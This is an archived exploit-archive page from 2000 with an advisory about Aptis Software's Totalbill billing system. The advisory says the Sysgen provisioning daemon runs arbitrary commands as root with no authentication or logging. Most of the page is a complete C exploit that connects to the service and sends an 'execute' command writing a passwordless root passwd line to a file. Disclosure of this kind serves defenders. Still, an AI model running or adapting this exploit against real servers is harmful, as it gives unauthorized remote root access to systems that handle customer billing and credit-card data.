what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

totalbill.c

totalbill.c
Posted Aug 10, 2000
Authored by Brian Masney

Totalbill is a complete billing and provisioning system for ISPs which contains remote root vulnerabilities.

tags | exploit, remote, root, vulnerability
SHA-256 | 6eccd079ce9e4448c67abb2c3b60374644fb7bf4faed59fe18628ecd8b704e95

totalbill.c

Change Mirror Download
   Totalbill is a complete billing and provisioning system for ISPs, and
it's written by Aptis Software (www.aptissoftware.com). There is one part
of it that sits on your mail and radius servers called Sysgen that listens
on a port (sometimes 9998, but it usually varies), and it allows the
incoming provisioning requests to be handled. Well, the problem is it
doesn't do any logging on the incoming connections, doesn't do ANY kind of
authentication, and it will let you run any program as root remotely
without it being logged. I notified Aptis about this problem back in
November 1999, and they haven't released an update yet. Obviously,
security must not be a top priority for them...

Also, I never did get to verify this, but it looks like cc_queue (handles
credit card transactions) is vulnerable to buffer overflows as well. I
would suggest start firewalling some of these ports...

And now for the code... It'll just create a file called /rootfile on your
machine, and no logging will have taken place.

#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define TOTALBILL_PORT 9998
#define TOTALBILL_SERVER "" /* Insert hostname here */

int main (void)
{
struct sockaddr_in servaddr;
char *tempstr, buf[8192];
struct hostent *host;
int sockfd;

if ((sockfd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
fprintf (stderr, "Error: Could not create a socket: %s\n",
strerror (errno));
return (1);
}
memset (&servaddr, 0, sizeof (servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons (TOTALBILL_PORT);

if ((host = gethostbyname (TOTALBILL_SERVER)) == NULL)
{
fprintf (stderr, "Error: Could not look up %s\n", TOTALBILL_SERVER);
return (1);
}

memcpy (&servaddr.sin_addr, host->h_addr_list[0], host->h_length);
if (connect (sockfd, (struct sockaddr *) &servaddr, sizeof (servaddr)) < 0)
{
fprintf (stderr, "Error: Cannot connect to %s: %s\n", TOTALBILL_SERVER,
strerror (errno));
return (1);
}
tempstr = "123456 execute execute execute=/bin/echo+root::0:0::/:/bin/sh+>+/rootfile";
printf ("Sending command %s to %s\n", tempstr, TOTALBILL_SERVER);
if (write (sockfd, tempstr, strlen (tempstr) + 1) < 0)
{
fprintf (stderr, "Error: Cannot write to socket: %s\n", strerror (errno));
return (1);
}
printf ("Sent...waiting for response...\n");
if (read (sockfd, buf, sizeof (buf)) < 0)
{
fprintf (stderr, "Error: Cannot read from socket: %s\n", strerror (errno));
return (1);
}
printf ("Received %s from server\n", buf);
close (sockfd);
return (0);
}


Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    28 Files
  • 17
    Oct 17th
    23 Files
  • 18
    Oct 18th
    10 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    5 Files
  • 22
    Oct 22nd
    12 Files
  • 23
    Oct 23rd
    23 Files
  • 24
    Oct 24th
    9 Files
  • 25
    Oct 25th
    10 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close